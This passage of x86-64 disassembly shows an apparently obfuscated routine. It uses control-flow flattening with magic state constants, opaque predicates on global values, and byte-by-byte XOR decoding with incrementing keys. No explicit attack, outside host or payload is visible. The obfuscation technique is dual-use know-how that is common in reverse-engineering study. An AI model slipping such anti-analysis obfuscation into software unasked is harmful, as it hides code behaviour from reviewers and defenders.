mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
setne cl
cmp dword [0x1402b5e1c], 0xa
setge r9b
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032530
cmp ecx, 0xe597bc97
je 0x14003254d
cmp ecx, 0xfa42bebb
je 0x14003255b
cmp ecx, 0x38980679
jne 0x140032500
jmp 0x140032567
cmp ecx, 0xbbb0bd52
je 0x140032562
cmp ecx, 0xc1647419
jne 0x140032500
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140032500
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140032500
mov ecx, 0x38980679
jmp 0x140032500
mov ecx, r10d
jmp 0x140032500
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140032600
cmp ecx, 0xe597bc97
je 0x14003261d
cmp ecx, 0xfa42bebb
je 0x14003262b
cmp ecx, 0x38980679
jne 0x1400325d0
jmp 0x140032637
cmp ecx, 0xbbb0bd52
je 0x140032632
cmp ecx, 0xc1647419
jne 0x1400325d0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400325d0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400325d0
mov ecx, 0x38980679
jmp 0x1400325d0
mov ecx, r10d
jmp 0x1400325d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x1400326d0
cmp ecx, 0xe597bc97
je 0x1400326ed
cmp ecx, 0xfa42bebb
je 0x1400326fb
cmp ecx, 0x38980679
jne 0x1400326a0
jmp 0x140032707
cmp ecx, 0xbbb0bd52
je 0x140032702
cmp ecx, 0xc1647419
jne 0x1400326a0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400326a0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400326a0
mov ecx, 0x38980679
jmp 0x1400326a0
mov ecx, r10d
jmp 0x1400326a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032770
cmp ecx, 0xe597bc97
je 0x14003278d
cmp ecx, 0xfa42bebb
je 0x14003279b
cmp ecx, 0x38980679
jne 0x140032740
jmp 0x1400327a7
cmp ecx, 0xbbb0bd52
je 0x1400327a2
cmp ecx, 0xc1647419
jne 0x140032740
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140032740
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140032740
mov ecx, 0x38980679
jmp 0x140032740
mov ecx, r10d
jmp 0x140032740
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x1400327f0
cmp ecx, 0x6a88e764
je 0x140033237
cmp ecx, 0xf1d372ca
jne 0x1400327f0
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400328a0
cmp ecx, 0xe597bc97
je 0x1400328bd
cmp ecx, 0xfa42bebb
je 0x1400328cb
cmp ecx, 0x38980679
jne 0x140032870
jmp 0x1400328d7
cmp ecx, 0xbbb0bd52
je 0x1400328d2
cmp ecx, 0xc1647419
jne 0x140032870
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032870
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032870
mov ecx, 0x38980679
jmp 0x140032870
mov ecx, r10d
jmp 0x140032870
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140032980
cmp ecx, 0xe597bc97
je 0x14003299d
cmp ecx, 0xfa42bebb
je 0x1400329ab
cmp ecx, 0x38980679
jne 0x140032950
jmp 0x1400329b7
cmp ecx, 0xbbb0bd52
je 0x1400329b2
cmp ecx, 0xc1647419
jne 0x140032950
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032950
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032950
mov ecx, 0x38980679
jmp 0x140032950
mov ecx, r10d
jmp 0x140032950
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
setne cl
sete r9b
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, r9b
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140032a60
cmp ecx, 0xe597bc97
je 0x140032a7d
cmp ecx, 0xfa42bebb
je 0x140032a8b
cmp ecx, 0x38980679
jne 0x140032a30
jmp 0x140032a97
cmp ecx, 0xbbb0bd52
je 0x140032a92
cmp ecx, 0xc1647419
jne 0x140032a30
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032a30
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032a30
mov ecx, 0x38980679
jmp 0x140032a30
mov ecx, r10d
jmp 0x140032a30
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x13
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 9]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032b40
cmp ecx, 0xe597bc97
je 0x140032b5d
cmp ecx, 0xfa42bebb
je 0x140032b6b
cmp ecx, 0x38980679
jne 0x140032b10
jmp 0x140032b77
cmp ecx, 0xbbb0bd52
je 0x140032b72
cmp ecx, 0xc1647419
jne 0x140032b10
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032b10
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032b10
mov ecx, 0x38980679
jmp 0x140032b10
mov ecx, r10d
jmp 0x140032b10
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x14
mov byte [r8 + 4], cl
movzx ecx, byte [rax + 0xa]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032bd0
cmp ecx, 0xe597bc97
je 0x140032bed
cmp ecx, 0xfa42bebb
je 0x140032bfb
cmp ecx, 0x38980679
jne 0x140032ba0
jmp 0x140032c07
cmp ecx, 0xbbb0bd52
je 0x140032c02
cmp ecx, 0xc1647419
jne 0x140032ba0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032ba0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032ba0
mov ecx, 0x38980679
jmp 0x140032ba0
mov ecx, r10d
jmp 0x140032ba0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x15
mov byte [r8 + 5], cl
movzx ecx, byte [rax + 0xb]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032c60
cmp ecx, 0xe597bc97
je 0x140032c7d
cmp ecx, 0xfa42bebb
je 0x140032c8b
cmp ecx, 0x38980679
jne 0x140032c30
jmp 0x140032c97
cmp ecx, 0xbbb0bd52
je 0x140032c92
cmp ecx, 0xc1647419
jne 0x140032c30
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032c30
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032c30
mov ecx, 0x38980679
jmp 0x140032c30
mov ecx, r10d
jmp 0x140032c30
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x16
mov byte [r8 + 6], cl
movzx ecx, byte [rax + 0xc]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032cf0
cmp ecx, 0xe597bc97
je 0x140032d0d
cmp ecx, 0xfa42bebb
je 0x140032d1b
cmp ecx, 0x38980679
jne 0x140032cc0
jmp 0x140032d27
cmp ecx, 0xbbb0bd52
je 0x140032d22
cmp ecx, 0xc1647419
jne 0x140032cc0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032cc0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032cc0
mov ecx, 0x38980679
jmp 0x140032cc0
mov ecx, r10d
jmp 0x140032cc0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x17
mov byte [r8 + 7], cl
movzx ecx, byte [rax + 0xd]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032d80
cmp ecx, 0xe597bc97
je 0x140032d9d
cmp ecx, 0xfa42bebb
je 0x140032dab
cmp ecx, 0x38980679
jne 0x140032d50
jmp 0x140032db7
cmp ecx, 0xbbb0bd52
je 0x140032db2
cmp ecx, 0xc1647419
jne 0x140032d50
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032d50
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032d50
mov ecx, 0x38980679
jmp 0x140032d50
mov ecx, r10d
jmp 0x140032d50
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x18
mov byte [r8 + 8], cl
movzx ecx, byte [rax + 0xe]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032e10
cmp ecx, 0xe597bc97
je 0x140032e2d
cmp ecx, 0xfa42bebb
je 0x140032e3b
cmp ecx, 0x38980679
jne 0x140032de0
jmp 0x140032e47
cmp ecx, 0xbbb0bd52
je 0x140032e42
cmp ecx, 0xc1647419
jne 0x140032de0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032de0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032de0
mov ecx, 0x38980679
jmp 0x140032de0
mov ecx, r10d
jmp 0x140032de0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x19
mov byte [r8 + 9], cl
movzx ecx, byte [rax + 0xf]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032ea0
cmp ecx, 0xe597bc97
je 0x140032ebd
cmp ecx, 0xfa42bebb
je 0x140032ecb
cmp ecx, 0x38980679
jne 0x140032e70
jmp 0x140032ed7
cmp ecx, 0xbbb0bd52
je 0x140032ed2
cmp ecx, 0xc1647419
jne 0x140032e70
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032e70
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032e70
mov ecx, 0x38980679
jmp 0x140032e70
mov ecx, r10d
jmp 0x140032e70
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1a
mov byte [r8 + 0xa], cl
movzx ecx, byte [rax + 0x10]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032f30
cmp ecx, 0xe597bc97
je 0x140032f4d
cmp ecx, 0xfa42bebb
je 0x140032f5b
cmp ecx, 0x38980679
jne 0x140032f00
jmp 0x140032f67
cmp ecx, 0xbbb0bd52
je 0x140032f62
cmp ecx, 0xc1647419
jne 0x140032f00
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032f00
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032f00
mov ecx, 0x38980679
jmp 0x140032f00
mov ecx, r10d
jmp 0x140032f00
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1b
mov byte [r8 + 0xb], cl
movzx ecx, byte [rax + 0x11]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140032fc0
cmp ecx, 0xe597bc97
je 0x140032fdd
cmp ecx, 0xfa42bebb
je 0x140032feb
cmp ecx, 0x38980679
jne 0x140032f90
jmp 0x140032ff7
cmp ecx, 0xbbb0bd52
je 0x140032ff2
cmp ecx, 0xc1647419
jne 0x140032f90
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140032f90
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140032f90
mov ecx, 0x38980679
jmp 0x140032f90
mov ecx, r10d
jmp 0x140032f90
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1c
mov byte [r8 + 0xc], cl
movzx ecx, byte [rax + 0x12]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033050
cmp ecx, 0xe597bc97
je 0x14003306d
cmp ecx, 0xfa42bebb
je 0x14003307b
cmp ecx, 0x38980679
jne 0x140033020
jmp 0x140033087
cmp ecx, 0xbbb0bd52
je 0x140033082
cmp ecx, 0xc1647419
jne 0x140033020
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x140033020
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033020
mov ecx, 0x38980679
jmp 0x140033020
mov ecx, r10d
jmp 0x140033020
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x1d
mov byte [r8 + 0xd], cl
movzx ecx, byte [rax + 0x13]
mov byte [rbp + 0x1cc], cl
mov ecx, 0xbbb0bd52
nop dword [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400330e0
cmp ecx, 0xe597bc97
je 0x1400330fd
cmp ecx, 0xbbb0bd52
je 0x140033112
movzx eax, byte [rax + 0x16]
mov byte [rbp + 0x1cc], al
mov eax, dword [0x1402b5e18]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e1c], 0xa
setl cl
or cl, al
mov eax, 0xe597bc97
cmovne eax, ebx
mov r8d, 0xe597bc97
cmovne r8d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400332b0
cmp ecx, 0xe597bc97
je 0x1400332cc
cmp ecx, 0xfa42bebb
je 0x1400332da
cmp ecx, 0x38980679
jne 0x140033280
jmp 0x1400320de
cmp ecx, 0xbbb0bd52
je 0x1400332e1
cmp ecx, 0xc1647419
jne 0x140033280
movsx r9, byte [rbp + 0x1cc]
mov ecx, eax
jmp 0x140033280
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x140033280
mov ecx, 0x38980679
jmp 0x140033280
mov ecx, r8d
jmp 0x140033280
mov rax, qword [rbp + 0x130]
mov rax, qword [rax]
mov qword [rbp + 0x138], rax
mov eax, 0xc7fab4d7
jmp 0x140032160
mov eax, dword [0x1402b5e10]
mov ecx, dword [0x1402b5e14]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp ecx, 0xa
setl r10b
xor r10b, r9b
mov r9d, 0x2e8c7756
cmovne r9d, esi
test eax, r8d
mov eax, r9d
cmove eax, esi
cmp ecx, 0xa
cmovge eax, r9d
jmp 0x140032160
mov rax, qword [rbp + 0x140]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x138]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movzx ecx, byte [rax]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x1400333f0
cmp ecx, 0xe597bc97
je 0x14003340d
cmp ecx, 0xfa42bebb
je 0x14003341b
cmp ecx, 0x38980679
jne 0x1400333c0
jmp 0x140033427
cmp ecx, 0xbbb0bd52
je 0x140033422
cmp ecx, 0xc1647419
jne 0x1400333c0
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400333c0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400333c0
mov ecx, 0x38980679
jmp 0x1400333c0
mov ecx, r10d
jmp 0x1400333c0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xb
mov byte [r8], cl
movzx ecx, byte [rax + 1]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400334c0
cmp ecx, 0xe597bc97
je 0x1400334dd
cmp ecx, 0xfa42bebb
je 0x1400334eb
cmp ecx, 0x38980679
jne 0x140033490
jmp 0x1400334f7
cmp ecx, 0xbbb0bd52
je 0x1400334f2
cmp ecx, 0xc1647419
jne 0x140033490
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140033490
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140033490
mov ecx, 0x38980679
jmp 0x140033490
mov ecx, r10d
jmp 0x140033490
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xc
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 2]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400335a0
cmp ecx, 0xe597bc97
je 0x1400335bd
cmp ecx, 0xfa42bebb
je 0x1400335cb
cmp ecx, 0x38980679
jne 0x140033570
jmp 0x1400335d7
cmp ecx, 0xbbb0bd52
je 0x1400335d2
cmp ecx, 0xc1647419
jne 0x140033570
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140033570
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140033570
mov ecx, 0x38980679
jmp 0x140033570
mov ecx, r10d
jmp 0x140033570
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xd
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 3]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx - 1]
imul r9d, ecx
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop dword [rax]
cmp ecx, 0xe597bc96
jle 0x140033670
cmp ecx, 0xe597bc97
je 0x14003368d
cmp ecx, 0xfa42bebb
je 0x14003369b
cmp ecx, 0x38980679
jne 0x140033640
jmp 0x1400336a7
cmp ecx, 0xbbb0bd52
je 0x1400336a2
cmp ecx, 0xc1647419
jne 0x140033640
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140033640
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140033640
mov ecx, 0x38980679
jmp 0x140033640
mov ecx, r10d
jmp 0x140033640
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xe
mov byte [r8 + 3], cl
movzx ecx, byte [rax + 4]
mov byte [rbp + 0x190], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033740
cmp ecx, 0xe597bc97
je 0x14003375d
cmp ecx, 0xfa42bebb
je 0x14003376b
cmp ecx, 0x38980679
jne 0x140033710
jmp 0x140033777
cmp ecx, 0xbbb0bd52
je 0x140033772
cmp ecx, 0xc1647419
jne 0x140033710
movsx r11, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x140033710
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x140033710
mov ecx, 0x38980679
jmp 0x140033710
mov ecx, r10d
jmp 0x140033710
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0xf
mov byte [r8 + 4], cl
add r8, 5
mov qword [rbp + 0x128], r8
movzx ecx, byte [rax + 5]
mov byte [rbp + 0x190], cl
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400337e0
cmp ecx, 0xe597bc97
je 0x1400337fd
cmp ecx, 0xfa42bebb
je 0x14003380b
cmp ecx, 0x38980679
jne 0x1400337b0
jmp 0x140033817
cmp ecx, 0xbbb0bd52
je 0x140033812
cmp ecx, 0xc1647419
jne 0x1400337b0
movsx r8, byte [rbp + 0x190]
mov ecx, r9d
jmp 0x1400337b0
movzx ecx, byte [rbp + 0x190]
mov ecx, 0xc1647419
jmp 0x1400337b0
mov ecx, 0x38980679
jmp 0x1400337b0
mov ecx, r10d
jmp 0x1400337b0
mov qword [rbp + 0x1c0], r8
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x10
mov r8, qword [rbp + 0x128]
mov byte [r8], cl
mov ecx, 0xf1d372ca
jmp 0x140033860
cmp ecx, 0x6a88e764
je 0x140034277
cmp ecx, 0xf1d372ca
jne 0x140033860
mov r8, qword [rbp + 0x128]
movzx ecx, byte [rax + 6]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033900
cmp ecx, 0xe597bc97
je 0x14003391d
cmp ecx, 0xfa42bebb
je 0x14003392b
cmp ecx, 0x38980679
jne 0x1400338d0
jmp 0x140033937
cmp ecx, 0xbbb0bd52
je 0x140033932
cmp ecx, 0xc1647419
jne 0x1400338d0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400338d0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400338d0
mov ecx, 0x38980679
jmp 0x1400338d0
mov ecx, r10d
jmp 0x1400338d0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x11
mov byte [r8 + 1], cl
movzx ecx, byte [rax + 7]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
mov ecx, r9d
xor ecx, 0xfffffffe
test ecx, r9d
sete cl
cmp dword [0x1402b5e1c], 0xa
setl r9b
or r9b, cl
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word [rax + rax]
cmp ecx, 0xe597bc96
jle 0x1400339d0
cmp ecx, 0xe597bc97
je 0x1400339ed
cmp ecx, 0xfa42bebb
je 0x1400339fb
cmp ecx, 0x38980679
jne 0x1400339a0
jmp 0x140033a07
cmp ecx, 0xbbb0bd52
je 0x140033a02
cmp ecx, 0xc1647419
jne 0x1400339a0
movsx r11, byte [rbp + 0x1cc]
mov ecx, r9d
jmp 0x1400339a0
movzx ecx, byte [rbp + 0x1cc]
mov ecx, 0xc1647419
jmp 0x1400339a0
mov ecx, 0x38980679
jmp 0x1400339a0
mov ecx, r10d
jmp 0x1400339a0
mov qword [rbp + 0x1c0], r11
mov rcx, qword [rbp + 0x1c0]
xor cl, 0x12
mov byte [r8 + 2], cl
movzx ecx, byte [rax + 8]
mov byte [rbp + 0x1cc], cl
mov ecx, dword [0x1402b5e18]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete cl
cmp dword [0x1402b5e1c], 0xa
setge r10b
setl r11b
xor r11b, cl
or r10b, r9b
not r10b
or r10b, r11b
test r10b, 1
mov r9d, 0xe597bc97
cmovne r9d, ebx
mov r10d, 0xe597bc97
cmovne r10d, r12d
mov ecx, 0xbbb0bd52
nop word cs:[rax + rax]
cmp ecx, 0xe597bc96
jle 0x140033ab0
cmp ecx, 0xe597bc97
je 0x140033acd
cmp ecx, 0xfa42bebb
je 0x140033adb
cmp ecx, 0x38980679
